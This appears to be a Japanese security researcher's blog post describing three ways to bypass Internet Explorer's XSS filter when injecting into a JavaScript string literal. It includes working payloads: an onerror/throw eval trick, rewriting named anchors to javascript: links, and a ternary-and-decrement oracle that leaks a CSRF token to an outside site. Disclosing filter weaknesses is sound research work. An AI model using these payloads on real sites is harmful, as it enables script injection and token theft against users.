いくつか面白い隙をみつけたので紹介します。
今回は文字列リテラルでのXSSに対する検知をバイパスします。
1. onerrorとthrowを使ってXSSする
以前Gareth Heyes氏が紹介していた、onerrorとthrowの手法を使うと、XSSフィルターをバイパスできることに気が付きました。
XSS technique without parentheses
http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/
Win7 IE9(ドキュメントモードがIE9)で有効です。IE10以降では改善され、"[JavaScriptの区切り]onerror= がフィルタ対象になっているようです。
http://vulnerabledoma.in/xssfilter_bypass?q="%3Bonerror=eval%3Bthrow'alert\x281\x29'//
";onerror=eval;throw'alert\x281\x29'//これでIEのXSSフィルターがバイパスできるという言及はみたことがないので紹介してみます。
2. id/name付きリンクを変更してXSSする
Win8.1 IE11で確認しました。ドキュメントモードがIE8以下である場合のみ有効です。
http://vulnerabledoma.in/xssfilter_bypass2?q="%3Blink='javascript'%2B':alert\x281\x29'//
";link='javascript'+':alert\x281\x29'//
ドキュメントモードがIE8以下だと、anchor_name = url という形でhrefに代入できます。これを利用して、ページ内にid/name付き<a>タグがあるとき、リンクをjavascript: なものに書き換えることでXSSします。
XSSフィルターは ";x.x= みたいなドット付きの代入式らしきものには反応しますが、ドットなしの ";xxx= みたいなのには反応しないことを利用しています。
3. 三項演算子とインクリメント/デクリメントを使ったデータの読み出し
今回イチオシの手法です。
以下のように、文字列リテラルにXSSがある箇所より前に、CSRF対策用tokenが埋め込まれているとします。このtokenは、10ケタの[a-f0-9]の値が設定されることがわかっているとします。
http://vulnerabledoma.in/xssfilter_bypass3?q=[XSS_HERE]
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="[XSS_HERE]"</script>
この条件で、XSSフィルターをバイパスしながらtokenの値を読み出すことができることを示します。
以下がPoCです。IEでgoボタンを押してしばらく待つと、tokenの値が外部サイトに表示されるのが確認できるはずです。
http://l0.cm/xssfilter_bypass/
次のような試行を繰り返すことで中身を少しずつ取得しています。
";"0"==form.token.value[0]?top.t.location.search--:top.f.location.search--//
";"1"==form.token.value[0]?top.t.location.search--:top.f.location.search--//
";"2"==form.token.value[0]?top.t.location.search--:top.f.location.search--//
...
()は検知されるのでif()の代わりに三項演算子を使い、=を使った代入は検知されるので--でlocation.searchをデクリメントすることでリダイレクトを起こします。onloadイベントが起きたフレームを攻撃者が用意したサイト側から確認することで、true/falseを判断します。
余談ですが、最初、window.nameをインクリメント/デクリメントして、その結果からデータを読み出す方法を試したのですが、IEはwindow.nameの設定に関して他のブラウザとは異なる挙動があったので、うまくいきませんでした。
一応試したものを載せておきます。FirefoxやChromeではうまく動きますが、IEでは動きません。
http://l0.cm/xssfilter_bypass/name.html
つい最近の思い付きなので、まだ改良の余地があるかと思います。
とりあえず、この例のように、読み出したい対象のフォーマットが決まっていて長さ・文字種もほどほどな場合は割と現実的な時間で読み出せるよね、ということを示してみました。これをXSSフィルター側で検知しようとするなら、 文字列リテラルを区切るような文字列のあとに、location とかlocation.* をインクリメント・デクリメントするような文字列が現れたら検知すればいいんでしょうかね。
はい!以上です。
IEのXSSフィルター、固いですが、誤検知との兼ね合いからどうしても小さな隙がありますね。そこをつつくのが面白いっす。